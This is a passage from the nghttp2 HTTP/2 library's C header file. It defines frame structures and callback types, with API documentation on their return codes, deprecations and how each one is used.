:enum:`nghttp2_error.NGHTTP2_ERR_PAUSE`. * * In case of error, there are 2 choices. Returning * :enum:`nghttp2_error.NGHTTP2_ERR_TEMPORAL_CALLBACK_FAILURE` will * close the stream by issuing RST_STREAM with * :enum:`nghttp2_error_code.NGHTTP2_INTERNAL_ERROR`. If a different * error code is desirable, use `nghttp2_submit_rst_stream()` with a * desired error code and then return * :enum:`nghttp2_error.NGHTTP2_ERR_TEMPORAL_CALLBACK_FAILURE`. * Returning :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE` will * signal the entire session failure. */ typedef nghttp2_ssize (*nghttp2_data_source_read_callback2)( nghttp2_session *session, int32_t stream_id, uint8_t *buf, size_t length, uint32_t *data_flags, nghttp2_data_source *source, void *user_data); #ifndef NGHTTP2_NO_SSIZE_T /** * @struct * * .. warning:: * * Deprecated. Use :type:`nghttp2_data_provider2` instead. * * This struct represents the data source and the way to read a chunk * of data from it. */ typedef struct { /** * The data source. */ nghttp2_data_source source; /** * The callback function to read a chunk of data from the |source|. */ nghttp2_data_source_read_callback read_callback; } nghttp2_data_provider; #endif /* NGHTTP2_NO_SSIZE_T */ /** * @struct * * This struct represents the data source and the way to read a chunk * of data from it. */ typedef struct { /** * The data source. */ nghttp2_data_source source; /** * The callback function to read a chunk of data from the |source|. */ nghttp2_data_source_read_callback2 read_callback; } nghttp2_data_provider2; /** * @struct * * The DATA frame. The received data is delivered via * :type:`nghttp2_on_data_chunk_recv_callback`. */ typedef struct { nghttp2_frame_hd hd; /** * The length of the padding in this frame. This includes PAD_HIGH * and PAD_LOW. */ size_t padlen; } nghttp2_data; /** * @enum * * The category of HEADERS, which indicates the role of the frame. In * HTTP/2 spec, request, response, push response and other arbitrary * headers (e.g., trailer fields) are all called just HEADERS. To * give the application the role of incoming HEADERS frame, we define * several categories. */ typedef enum { /** * The HEADERS frame is opening new stream, which is analogous to * SYN_STREAM in SPDY. */ NGHTTP2_HCAT_REQUEST = 0, /** * The HEADERS frame is the first response headers, which is * analogous to SYN_REPLY in SPDY. */ NGHTTP2_HCAT_RESPONSE = 1, /** * The HEADERS frame is the first headers sent against reserved * stream. */ NGHTTP2_HCAT_PUSH_RESPONSE = 2, /** * The HEADERS frame which does not apply for the above categories, * which is analogous to HEADERS in SPDY. If non-final response * (e.g., status 1xx) is used, final response HEADERS frame will be * categorized here. */ NGHTTP2_HCAT_HEADERS = 3 } nghttp2_headers_category; /** * @struct * * .. warning:: * * Deprecated. :rfc:`7540` priorities are deprecated by * :rfc:`9113`. Consider migrating to :rfc:`9218` extensible * prioritization scheme. * * The structure to specify stream dependency. */ typedef struct { /** * The stream ID of the stream to depend on. Specifying 0 makes * stream not depend any other stream. */ int32_t stream_id; /** * The weight of this dependency. */ int32_t weight; /** * nonzero means exclusive dependency */ uint8_t exclusive; } nghttp2_priority_spec; /** * @struct * * The HEADERS frame. It has the following members: */ typedef struct { /** * The frame header. */ nghttp2_frame_hd hd; /** * The length of the padding in this frame. This includes PAD_HIGH * and PAD_LOW. */ size_t padlen; /** * .. warning:: * * Deprecated. :rfc:`7540` priorities are deprecated by * :rfc:`9113`. Consider migrating to :rfc:`9218` extensible * prioritization scheme. * * The priority specification */ nghttp2_priority_spec pri_spec; /** * The name/value pairs. */ nghttp2_nv *nva; /** * The number of name/value pairs in |nva|. */ size_t nvlen; /** * The category of this HEADERS frame. */ nghttp2_headers_category cat; } nghttp2_headers; /** * @struct * * .. warning:: * * Deprecated. :rfc:`7540` priorities are deprecated by * :rfc:`9113`. Consider migrating to :rfc:`9218` extensible * prioritization scheme. * * The PRIORITY frame. It has the following members: */ typedef struct { /** * The frame header. */ nghttp2_frame_hd hd; /** * The priority specification. */ nghttp2_priority_spec pri_spec; } nghttp2_priority; /** * @struct * * The RST_STREAM frame. It has the following members: */ typedef struct { /** * The frame header. */ nghttp2_frame_hd hd; /** * The error code. See :type:`nghttp2_error_code`. */ uint32_t error_code; } nghttp2_rst_stream; /** * @struct * * The SETTINGS ID/Value pair. It has the following members: */ typedef struct { /** * The SETTINGS ID. See :type:`nghttp2_settings_id`. */ int32_t settings_id; /** * The value of this entry. */ uint32_t value; } nghttp2_settings_entry; /** * @struct * * The SETTINGS frame. It has the following members: */ typedef struct { /** * The frame header. */ nghttp2_frame_hd hd; /** * The number of SETTINGS ID/Value pairs in |iv|. */ size_t niv; /** * The pointer to the array of SETTINGS ID/Value pair. */ nghttp2_settings_entry *iv; } nghttp2_settings; /** * @struct * * The PUSH_PROMISE frame. It has the following members: */ typedef struct { /** * The frame header. */ nghttp2_frame_hd hd; /** * The length of the padding in this frame. This includes PAD_HIGH * and PAD_LOW. */ size_t padlen; /** * The name/value pairs. */ nghttp2_nv *nva; /** * The number of name/value pairs in |nva|. */ size_t nvlen; /** * The promised stream ID */ int32_t promised_stream_id; /** * Reserved bit. Currently this is always set to 0 and application * should not expect something useful in here. */ uint8_t reserved; } nghttp2_push_promise; /** * @struct * * The PING frame. It has the following members: */ typedef struct { /** * The frame header. */ nghttp2_frame_hd hd; /** * The opaque data */ uint8_t opaque_data[8]; } nghttp2_ping; /** * @struct * * The GOAWAY frame. It has the following members: */ typedef struct { /** * The frame header. */ nghttp2_frame_hd hd; /** * The last stream stream ID. */ int32_t last_stream_id; /** * The error code. See :type:`nghttp2_error_code`. */ uint32_t error_code; /** * The additional debug data */ uint8_t *opaque_data; /** * The length of |opaque_data| member. */ size_t opaque_data_len; /** * Reserved bit. Currently this is always set to 0 and application * should not expect something useful in here. */ uint8_t reserved; } nghttp2_goaway; /** * @struct * * The WINDOW_UPDATE frame. It has the following members: */ typedef struct { /** * The frame header. */ nghttp2_frame_hd hd; /** * The window size increment. */ int32_t window_size_increment; /** * Reserved bit. Currently this is always set to 0 and application * should not expect something useful in here. */ uint8_t reserved; } nghttp2_window_update; /** * @struct * * The extension frame. It has following members: */ typedef struct { /** * The frame header. */ nghttp2_frame_hd hd; /** * The pointer to extension payload. The exact pointer type is * determined by hd.type. * * Currently, no extension is supported. This is a place holder for * the future extensions. */ void *payload; } nghttp2_extension; /** * @union * * This union includes all frames to pass them to various function * calls as nghttp2_frame type. The CONTINUATION frame is omitted * from here because the library deals with it internally. */ typedef union { /** * The frame header, which is convenient to inspect frame header. */ nghttp2_frame_hd hd; /** * The DATA frame. */ nghttp2_data data; /** * The HEADERS frame. */ nghttp2_headers headers; /** * The PRIORITY frame. */ nghttp2_priority priority; /** * The RST_STREAM frame. */ nghttp2_rst_stream rst_stream; /** * The SETTINGS frame. */ nghttp2_settings settings; /** * The PUSH_PROMISE frame. */ nghttp2_push_promise push_promise; /** * The PING frame. */ nghttp2_ping ping; /** * The GOAWAY frame. */ nghttp2_goaway goaway; /** * The WINDOW_UPDATE frame. */ nghttp2_window_update window_update; /** * The extension frame. */ nghttp2_extension ext; } nghttp2_frame; #ifndef NGHTTP2_NO_SSIZE_T /** * @functypedef * * .. warning:: * * Deprecated. Use :type:`nghttp2_send_callback2` instead. * * Callback function invoked when |session| wants to send data to the * remote peer. The implementation of this function must send at most * |length| bytes of data stored in |data|. The |flags| is currently * not used and always 0. It must return the number of bytes sent if * it succeeds. If it cannot send any single byte without blocking, * it must return :enum:`nghttp2_error.NGHTTP2_ERR_WOULDBLOCK`. For * other errors, it must return * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. The * |user_data| pointer is the third argument passed in to the call to * `nghttp2_session_client_new()` or `nghttp2_session_server_new()`. * * This callback is required if the application uses * `nghttp2_session_send()` to send data to the remote endpoint. If * the application uses solely `nghttp2_session_mem_send()` instead, * this callback function is unnecessary. * * To set this callback to :type:`nghttp2_session_callbacks`, use * `nghttp2_session_callbacks_set_send_callback()`. * * .. note:: * * The |length| may be very small. If that is the case, and * application disables Nagle algorithm (``TCP_NODELAY``), then just * writing |data| to the network stack leads to very small packet, * and it is very inefficient. An application should be responsible * to buffer up small chunks of data as necessary to avoid this * situation. */ typedef ssize_t (*nghttp2_send_callback)(nghttp2_session *session, const uint8_t *data, size_t length, int flags, void *user_data); #endif /* NGHTTP2_NO_SSIZE_T */ /** * @functypedef * * Callback function invoked when |session| wants to send data to the * remote peer. The implementation of this function must send at most * |length| bytes of data stored in |data|. The |flags| is currently * not used and always 0. It must return the number of bytes sent if * it succeeds. If it cannot send any single byte without blocking, * it must return :enum:`nghttp2_error.NGHTTP2_ERR_WOULDBLOCK`. For * other errors, it must return * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. The * |user_data| pointer is the third argument passed in to the call to * `nghttp2_session_client_new()` or `nghttp2_session_server_new()`. * * This callback is required if the application uses * `nghttp2_session_send()` to send data to the remote endpoint. If * the application uses solely `nghttp2_session_mem_send2()` instead, * this callback function is unnecessary. * * To set this callback to :type:`nghttp2_session_callbacks`, use * `nghttp2_session_callbacks_set_send_callback2()`. * * .. note:: * * The |length| may be very small. If that is the case, and * application disables Nagle algorithm (``TCP_NODELAY``), then just * writing |data| to the network stack leads to very small packet, * and it is very inefficient. An application should be responsible * to buffer up small chunks of data as necessary to avoid this * situation. */ typedef nghttp2_ssize (*nghttp2_send_callback2)(nghttp2_session *session, const uint8_t *data, size_t length, int flags, void *user_data); /** * @functypedef * * Callback function invoked when * :enum:`nghttp2_data_flag.NGHTTP2_DATA_FLAG_NO_COPY` is used in * :type:`nghttp2_data_source_read_callback` to send complete DATA * frame. * * The |frame| is a DATA frame to send. The |framehd| is the * serialized frame header (9 bytes). The |length| is the length of * application data to send (this does not include padding). The * |source| is the same pointer passed to * :type:`nghttp2_data_source_read_callback`. * * The application first must send frame header |framehd| of length 9 * bytes. If ``frame->data.padlen > 0``, send 1 byte of value * ``frame->data.padlen - 1``. Then send exactly |length| bytes of * application data. Finally, if ``frame->data.padlen > 1``, send * ``frame->data.padlen - 1`` bytes of zero as padding. * * The application has to send complete DATA frame in this callback. * If all data were written successfully, return 0. * * If it cannot send any data at all, just return * :enum:`nghttp2_error.NGHTTP2_ERR_WOULDBLOCK`; the library will call * this callback with the same parameters later (It is recommended to * send complete DATA frame at once in this function to deal with * error; if partial frame data has already sent, it is impossible to * send another data in that state, and all we can do is tear down * connection). When data is fully processed, but application wants * to make `nghttp2_session_mem_send2()` or `nghttp2_session_send()` * return immediately without processing next frames, return * :enum:`nghttp2_error.NGHTTP2_ERR_PAUSE`. If application decided to * reset this stream, return * :enum:`nghttp2_error.NGHTTP2_ERR_TEMPORAL_CALLBACK_FAILURE`, then * the library will send RST_STREAM with INTERNAL_ERROR as error code. * The application can also return * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`, which will * result in connection closure. Returning any other value is treated * as :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE` is returned. */ typedef int (*nghttp2_send_data_callback)(nghttp2_session *session, nghttp2_frame *frame, const uint8_t *framehd, size_t length, nghttp2_data_source *source, void *user_data); #ifndef NGHTTP2_NO_SSIZE_T /** * @functypedef * * .. warning:: * * Deprecated. Use :type:`nghttp2_recv_callback2` instead. * * Callback function invoked when |session| wants to receive data from * the remote peer. The implementation of this function must read at * most |length| bytes of data and store it in |buf|. The |flags| is * currently not used and always 0. It must return the number of * bytes written in |buf| if it succeeds. If it cannot read any * single byte without blocking, it must return * :enum:`nghttp2_error.NGHTTP2_ERR_WOULDBLOCK`. If it gets EOF * before it reads any single byte, it must return * :enum:`nghttp2_error.NGHTTP2_ERR_EOF`. For other errors, it must * return :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. * Returning 0 is treated as * :enum:`nghttp2_error.NGHTTP2_ERR_WOULDBLOCK`. The |user_data| * pointer is the third argument passed in to the call to * `nghttp2_session_client_new()` or `nghttp2_session_server_new()`. * * This callback is required if the application uses * `nghttp2_session_recv()` to receive data from the remote endpoint. * If the application uses solely `nghttp2_session_mem_recv()` * instead, this callback function is unnecessary. * * To set this callback to :type:`nghttp2_session_callbacks`, use * `nghttp2_session_callbacks_set_recv_callback()`. */ typedef ssize_t (*nghttp2_recv_callback)(nghttp2_session *session, uint8_t *buf, size_t length, int flags, void *user_data); #endif /* NGHTTP2_NO_SSIZE_T */ /** * @functypedef * * Callback function invoked when |session| wants to receive data from * the remote peer. The implementation of this function must read at * most |length| bytes of data and store it in |buf|. The |flags| is * currently not used and always 0. It must return the number of * bytes written in |buf| if it succeeds. If it cannot read any * single byte without blocking, it must return * :enum:`nghttp2_error.NGHTTP2_ERR_WOULDBLOCK`. If it gets EOF * before it reads any single byte, it must return * :enum:`nghttp2_error.NGHTTP2_ERR_EOF`. For other errors, it must * return :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. * Returning 0 is treated as * :enum:`nghttp2_error.NGHTTP2_ERR_WOULDBLOCK`. The |user_data| * pointer is the third argument passed in to the call to * `nghttp2_session_client_new()` or `nghttp2_session_server_new()`. * * This callback is required if the application uses * `nghttp2_session_recv()` to receive data from the remote endpoint. * If the application uses solely `nghttp2_session_mem_recv2()` * instead, this callback function is unnecessary. * * To set this callback to :type:`nghttp2_session_callbacks`, use * `nghttp2_session_callbacks_set_recv_callback2()`. */ typedef nghttp2_ssize (*nghttp2_recv_callback2)(nghttp2_session *session, uint8_t *buf, size_t length, int flags, void *user_data); /** * @functypedef * * Callback function invoked by `nghttp2_session_recv()` and * `nghttp2_session_mem_recv2()` when a frame is received. The * |user_data| pointer is the third argument passed in to the call to * `nghttp2_session_client_new()` or `nghttp2_session_server_new()`. * * If frame is HEADERS or PUSH_PROMISE, the ``nva`` and ``nvlen`` * member of their data structure are always ``NULL`` and 0 * respectively. The header name/value pairs are emitted via * :type:`nghttp2_on_header_callback`. * * Only HEADERS and DATA frame can signal the end of incoming data. * If ``frame->hd.flags & NGHTTP2_FLAG_END_STREAM`` is nonzero, the * |frame| is the last frame from the remote peer in this stream. * * This callback won't be called for CONTINUATION frames. * HEADERS/PUSH_PROMISE + CONTINUATIONs are treated as single frame. * * The implementation of this function must return 0 if it succeeds. * If nonzero value is returned, it is treated as fatal error and * `nghttp2_session_recv()` and `nghttp2_session_mem_recv2()` * functions immediately return * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. * * To set this callback to :type:`nghttp2_session_callbacks`, use * `nghttp2_session_callbacks_set_on_frame_recv_callback()`. */ typedef int (*nghttp2_on_frame_recv_callback)(nghttp2_session *session, const nghttp2_frame *frame, void *user_data); /** * @functypedef * * Callback function invoked by `nghttp2_session_recv()` and * `nghttp2_session_mem_recv2()` when an invalid non-DATA frame is * received. The error is indicated by the |lib_error_code|, which is * one of the values defined in :type:`nghttp2_error`. When this * callback function is invoked, the library automatically submits * either RST_STREAM or GOAWAY frame. The |user_data| pointer is the * third argument passed in to the call to * `nghttp2_session_client_new()` or `nghttp2_session_server_new()`. * * If frame is HEADERS or PUSH_PROMISE, the ``nva`` and ``nvlen`` * member of their data structure are always ``NULL`` and 0 * respectively. * * The implementation of this function must return 0 if it succeeds. * If nonzero is returned, it is treated as fatal error and * `nghttp2_session_recv()` and `nghttp2_session_mem_recv2()` * functions immediately return * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. * * To set this callback to :type:`nghttp2_session_callbacks`, use * `nghttp2_session_callbacks_set_on_invalid_frame_recv_callback()`. */ typedef int (*nghttp2_on_invalid_frame_recv_callback)( nghttp2_session *session, const nghttp2_frame *frame, int lib_error_code, void *user_data); /** * @functypedef * * Callback function invoked when a chunk of data in DATA frame is * received. The |stream_id| is the stream ID this DATA frame belongs * to. The |flags| is the flags of DATA frame which this data chunk * is contained. ``(flags & NGHTTP2_FLAG_END_STREAM) != 0`` does not * necessarily mean this chunk of data is the last one in the stream. * You should use :type:`nghttp2_on_frame_recv_callback` to know all * data frames are received. The |user_data| pointer is the third * argument passed in to the call to `nghttp2_session_client_new()` or * `nghttp2_session_server_new()`. * * If the application uses `nghttp2_session_mem_recv2()`, it can * return :enum:`nghttp2_error.NGHTTP2_ERR_PAUSE` to make * `nghttp2_session_mem_recv2()` return without processing further * input bytes. The memory by pointed by the |data| is retained until * `nghttp2_session_mem_recv2()` or `nghttp2_session_recv()` is * called. The application must retain the input bytes which was used * to produce the |data| parameter, because it may refer to the memory * region included in the input bytes. * * The implementation of this function must return 0 if it succeeds. * If nonzero is returned, it is treated as fatal error, and * `nghttp2_session_recv()` and `nghttp2_session_mem_recv2()` * functions immediately return * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. * * To set this callback to :type:`nghttp2_session_callbacks`, use * `nghttp2_session_callbacks_set_on_data_chunk_recv_callback()`. */ typedef int (*nghttp2_on_data_chunk_recv_callback)(nghttp2_session *session, uint8_t flags, int32_t stream_id, const uint8_t *data, size_t len, void *user_data); /** * @functypedef * * Callback function invoked just before the non-DATA frame |frame| is * sent. The |user_data| pointer is the third argument passed in to * the call to `nghttp2_session_client_new()` or * `nghttp2_session_server_new()`. * * The implementation of this function must return 0 if it succeeds. * It can also return :enum:`nghttp2_error.NGHTTP2_ERR_CANCEL` to * cancel the transmission of the given frame. * * If there is a fatal error while executing this callback, the * implementation should return * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`, which makes * `nghttp2_session_send()` and `nghttp2_session_mem_send2()` * functions immediately return * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. * * If the other value is returned, it is treated as if * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE` is returned. * But the implementation should not rely on this since the library * may define new return value to extend its capability. * * To set this callback to :type:`nghttp2_session_callbacks`, use * `nghttp2_session_callbacks_set_before_frame_send_callback()`. */ typedef int (*nghttp2_before_frame_send_callback)(nghttp2_session *session, const nghttp2_frame *frame, void *user_data); /** * @functypedef * * Callback function invoked after the frame |frame| is sent. The * |user_data| pointer is the third argument passed in to the call to * `nghttp2_session_client_new()` or `nghttp2_session_server_new()`. * * The implementation of this function must return 0 if it succeeds. * If nonzero is returned, it is treated as fatal error and * `nghttp2_session_send()` and `nghttp2_session_mem_send2()` * functions immediately return * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. * * To set this callback to :type:`nghttp2_session_callbacks`, use * `nghttp2_session_callbacks_set_on_frame_send_callback()`. */ typedef int (*nghttp2_on_frame_send_callback)(nghttp2_session *session, const nghttp2_frame *frame, void *user_data); /** * @functypedef * * Callback function invoked after the non-DATA frame |frame| is not * sent because of the error. The error is indicated by the * |lib_error_code|, which is one of the values defined in * :type:`nghttp2_error`. The |user_data| pointer is the third * argument passed in to the call to `nghttp2_session_client_new()` or * `nghttp2_session_server_new()`. * * The implementation of this function must return 0 if it succeeds. * If nonzero is returned, it is treated as fatal error and * `nghttp2_session_send()` and `nghttp2_session_mem_send2()` * functions immediately return * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. * * `nghttp2_session_get_stream_user_data()` can be used to get * associated data. * * To set this callback to :type:`nghttp2_session_callbacks`, use * `nghttp2_session_callbacks_set_on_frame_not_send_callback()`. */ typedef int (*nghttp2_on_frame_not_send_callback)(nghttp2_session *session, const nghttp2_frame *frame, int lib_error_code, void *user_data); /** * @functypedef * * Callback function invoked when the stream |stream_id| is closed. * The reason of closure is indicated by the |error_code|. The * |error_code| is usually one of :enum:`nghttp2_error_code`, but that * is not guaranteed. The stream_user_data, which was specified in * `nghttp2_submit_request2()` or `nghttp2_submit_headers()`, is still * available in this function. The |user_data| pointer is the third * argument passed in to the call to `nghttp2_session_client_new()` or * `nghttp2_session_server_new()`. * * This function is also called for a stream in reserved state. * * The implementation of this function must return 0 if it succeeds. * If nonzero is returned, it is treated as fatal error and * `nghttp2_session_recv()`, `nghttp2_session_mem_recv2()`, * `nghttp2_session_send()`, and `nghttp2_session_mem_send2()` * functions immediately return * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. * * To set this callback to :type:`nghttp2_session_callbacks`, use * `nghttp2_session_callbacks_set_on_stream_close_callback()`. */ typedef int (*nghttp2_on_stream_close_callback)(nghttp2_session *session, int32_t stream_id, uint32_t error_code, void *user_data); /** * @functypedef * * Callback function invoked when the reception of header block in * HEADERS or PUSH_PROMISE is started. Each header name/value pair * will be emitted by :type:`nghttp2_on_header_callback`. * * The ``frame->hd.flags`` may not have * :enum:`nghttp2_flag.NGHTTP2_FLAG_END_HEADERS` flag set, which * indicates that one or more CONTINUATION frames are involved. But * the application does not need to care about that because the header * name/value pairs are emitted transparently regardless of * CONTINUATION frames. * * The server applications probably create an object to store * information about new stream if ``frame->hd.type == * NGHTTP2_HEADERS`` and ``frame->headers.cat == * NGHTTP2_HCAT_REQUEST``. If |session| is configured as server side, * ``frame->headers.cat`` is either ``NGHTTP2_HCAT_REQUEST`` * containing request headers or ``NGHTTP2_HCAT_HEADERS`` containing * trailer fields and never get PUSH_PROMISE in this callback. * * For the client applications, ``frame->hd.type`` is either * ``NGHTTP2_HEADERS`` or ``NGHTTP2_PUSH_PROMISE``. In case of * ``NGHTTP2_HEADERS``, ``frame->headers.cat == * NGHTTP2_HCAT_RESPONSE`` means that it is the first response * headers, but it may be non-final response which is indicated by 1xx * status code. In this case, there may be zero or more HEADERS frame * with ``frame->headers.cat == NGHTTP2_HCAT_HEADERS`` which has * non-final response code and finally client gets exactly one HEADERS * frame with ``frame->headers.cat == NGHTTP2_HCAT_HEADERS`` * containing final response headers (non-1xx status code). The * trailer fields also has ``frame->headers.cat == * NGHTTP2_HCAT_HEADERS`` which does not contain any status code. * * Returning * :enum:`nghttp2_error.NGHTTP2_ERR_TEMPORAL_CALLBACK_FAILURE` will * close the stream (promised stream if frame is PUSH_PROMISE) by * issuing RST_STREAM with * :enum:`nghttp2_error_code.NGHTTP2_INTERNAL_ERROR`. In this case, * :type:`nghttp2_on_header_callback` and * :type:`nghttp2_on_frame_recv_callback` will not be invoked. If a * different error code is desirable, use * `nghttp2_submit_rst_stream()` with a desired error code and then * return :enum:`nghttp2_error.NGHTTP2_ERR_TEMPORAL_CALLBACK_FAILURE`. * Again, use ``frame->push_promise.promised_stream_id`` as stream_id * parameter in `nghttp2_submit_rst_stream()` if frame is * PUSH_PROMISE. * * The implementation of this function must return 0 if it succeeds. * It can return * :enum:`nghttp2_error.NGHTTP2_ERR_TEMPORAL_CALLBACK_FAILURE` to * reset the stream (promised stream if frame is PUSH_PROMISE). For * critical errors, it must return * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. If the other * value is returned, it is treated as if * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE` is returned. If * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE` is returned, * `nghttp2_session_mem_recv2()` function will immediately return * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. * * To set this callback to :type:`nghttp2_session_callbacks`, use * `nghttp2_session_callbacks_set_on_begin_headers_callback()`. */ typedef int (*nghttp2_on_begin_headers_callback)(nghttp2_session *session, const nghttp2_frame *frame, void *user_data); /** * @functypedef * * Callback function invoked when a header name/value pair is received * for the |frame|. The |name| of length |namelen| is header name. * The |value| of length |valuelen| is header value. The |flags| is * bitwise OR of one or more of :type:`nghttp2_nv_flag`. * * If :enum:`nghttp2_nv_flag.NGHTTP2_NV_FLAG_NO_INDEX` is set in * |flags|, the receiver must not index this name/value pair when * forwarding it to the next hop. More specifically, "Literal Header * Field never Indexed" representation must be used in HPACK encoding. * * When this callback is invoked, ``frame->hd.type`` is either * :enum:`nghttp2_frame_type.NGHTTP2_HEADERS` or * :enum:`nghttp2_frame_type.NGHTTP2_PUSH_PROMISE`. After all header * name/value pairs are processed with this callback, and no error has * been detected, :type:`nghttp2_on_frame_recv_callback` will be * invoked. If there is an error in decompression, * :type:`nghttp2_on_frame_recv_callback` for the |frame| will not be * invoked. * * Both |name| and |value| are guaranteed to be NULL-terminated. The * |namelen| and |valuelen| do not include terminal NULL. If * `nghttp2_option_set_no_http_messaging()` is used with nonzero * value, NULL character may be included in |name| or |value| before * terminating NULL. * * Please note that unless `nghttp2_option_set_no_http_messaging()` is * used, nghttp2 library does perform validation against the |name| * and the |value| using `nghttp2_check_header_name()` and * `nghttp2_check_header_value()`. In addition to this, nghttp2 * performs validation based on HTTP Messaging rule, which is briefly * explained in :ref:`http-messaging` section. * * If the application uses `nghttp2_session_mem_recv2()`, it can * return :enum:`nghttp2_error.NGHTTP2_ERR_PAUSE` to make * `nghttp2_session_mem_recv2()` return without processing further * input bytes. The memory pointed by |frame|, |name| and |value| * parameters are retained until `nghttp2_session_mem_recv2()` or * `nghttp2_session_recv()` is called. The application must retain * the input bytes which was used to produce these parameters, because * it may refer to the memory region included in the input bytes. * * Returning * :enum:`nghttp2_error.NGHTTP2_ERR_TEMPORAL_CALLBACK_FAILURE` will * close the stream (promised stream if frame is PUSH_PROMISE) by * issuing RST_STREAM with * :enum:`nghttp2_error_code.NGHTTP2_INTERNAL_ERROR`. In this case, * :type:`nghttp2_on_header_callback` and * :type:`nghttp2_on_frame_recv_callback` will not be invoked. If a * different error code is desirable, use * `nghttp2_submit_rst_stream()` with a desired error code and then * return :enum:`nghttp2_error.NGHTTP2_ERR_TEMPORAL_CALLBACK_FAILURE`. * Again, use ``frame->push_promise.promised_stream_id`` as stream_id * parameter in `nghttp2_submit_rst_stream()` if frame is * PUSH_PROMISE. * * The implementation of this function must return 0 if it succeeds. * It may return :enum:`nghttp2_error.NGHTTP2_ERR_PAUSE` or * :enum:`nghttp2_error.NGHTTP2_ERR_TEMPORAL_CALLBACK_FAILURE`. For * other critical failures, it must return * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. If the other * nonzero value is returned, it is treated as * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. If * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE` is returned, * `nghttp2_session_recv()` and `nghttp2_session_mem_recv2()` * functions immediately return * :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE`. * * To set this callback to :type:`nghttp2_session_callbacks`, use * `nghttp2_session_callbacks_set_on_header_callback()`. * * .. warning:: * * Application should properly limit the total buffer size to store * incoming header fields. Without it, peer may send large number * of header fields or large header fields to cause out of memory in * local endpoint. Due to how HPACK works, peer can do this * effectively without using much memory on their own. */ typedef int (*nghttp2_on_header_callback)(nghttp2_session *session, const nghttp2_frame *frame, const uint8_t *name, size_t namelen, const uint8_t *value, size_t valuelen, uint8_t flags, void *user_data); /** * @functypedef * * Callback function invoked when a header name/value pair is received * for the |frame|. The |name| is header name. The |value| is header * value. The |flags| is bitwise OR of one or more of * :type:`nghttp2_nv_flag`. * * This callback behaves like :type:`nghttp2_on_header_callback`, * except that |name| and |value| are stored in reference counted * buffer. If application wishes to keep these references without * copying them, use `nghttp2_rcbuf_incref()` to increment their * reference count. It is the application's responsibility to call * `nghttp2_rcbuf_decref()` if they called `nghttp2_rcbuf_incref()` so * as not to leak memory. If the |session| is created by * `nghttp2_session_server_new3()` or `nghttp2_session_client_new3()`, * the function to free memory is the one belongs to the mem * parameter. As long as this free function alives, |name| and * |value| can live after |session| was destroyed. */ typedef int (*nghttp2_on_header_callback2)(nghttp2_session *session, const nghttp2_frame *frame, nghttp2_rcbuf *name, nghttp2_rcbuf *value, uint8_t flags, void *user_data); /** * @functypedef * * Callback function invoked when an invalid header name/value pair is * received for the |frame|. * * The parameter and behaviour are similar to * :type:`nghttp2_on_header_callback`. The difference is that this * callback is only invoked when an invalid header name/value pair is * received which is treated as stream error if this callback returns * :enum:`nghttp2_error.NGHTTP2_ERR_TEMPORAL_CALLBACK_FAILURE` and * :type:`nghttp2_on_invalid_header_callback2` is not set. Only * invalid regular header field are passed to this callback. In other * words, invalid pseudo header field is not passed to this callback. * Also header fields which includes upper cased latter are also * treated as error without passing them to this callback. * * This callback is only considered if HTTP messaging validation is * turned on (which is on by default, see * `nghttp2_option_set_no_http_messaging()`). * * With this callback, application inspects the incoming invalid * field, and it also can reset stream from this callback by returning * :enum:`nghttp2_error.NGHTTP2_ERR_TEMPORAL_CALLBACK_FAILURE`. By * default, the error code is * :enum:`nghttp2_error_code.NGHTTP2_PROTOCOL_ERROR`. To change the * error code, call `nghttp2_submit_rst_stream()` with the error code * of choice in addition to returning * :enum:`nghttp2_error.NGHTTP2_ERR_TEMPORAL_CALLBACK_FAILURE`. * * If 0 is returned, the header field is ignored, and the stream is * not reset. */ typedef int (*nghttp2_on_invalid_header_callback)( nghttp2_session *session, const nghttp2_frame *frame, const uint8_t *name, size_t namelen, const uint8_t *value, size_t valuelen, uint8_t flags, void *user_data); /** * @functypedef * * Callback function invoked when an invalid header name/value pair is * received for the |frame|. * * The parameter and behaviour are similar to * :type:`nghttp2_on_header_callback2`. The difference is that this * callback is only invoked when an invalid header name/value pair is * received which is silently ignored if neither this callback nor * :type:`nghttp2_on_invalid_header_callback` is set. Only invalid * regular header field are passed to this callback. In other words, * invalid pseudo header field is not passed to this callback. Also * header fields which includes upper cased latter are also treated as * error without passing them to this callback. * * This callback is only considered if HTTP messaging validation is * turned on (which is on by default, see * `nghttp2_option_set_no_http_messaging()`). * * With this callback, application inspects the incoming invalid * field, and it also can reset stream from this callback by returning * :enum:`nghttp2_error.NGHTTP2_ERR_TEMPORAL_CALLBACK_FAILURE`. By * default, the error code is * :enum:`nghttp2_error_code.NGHTTP2_INTERNAL_ERROR`. To change the * error code, call `nghttp2_submit_rst_stream()` with the error code * of choice in addition to returning * :enum:`nghttp2_error.NGHTTP2_ERR_TEMPORAL_CALLBACK_FAILURE`. */ typedef int (*nghttp2_on_invalid_header_callback2)( nghttp2_session *session, const nghttp2_frame *frame, nghttp2_rcbuf *name, 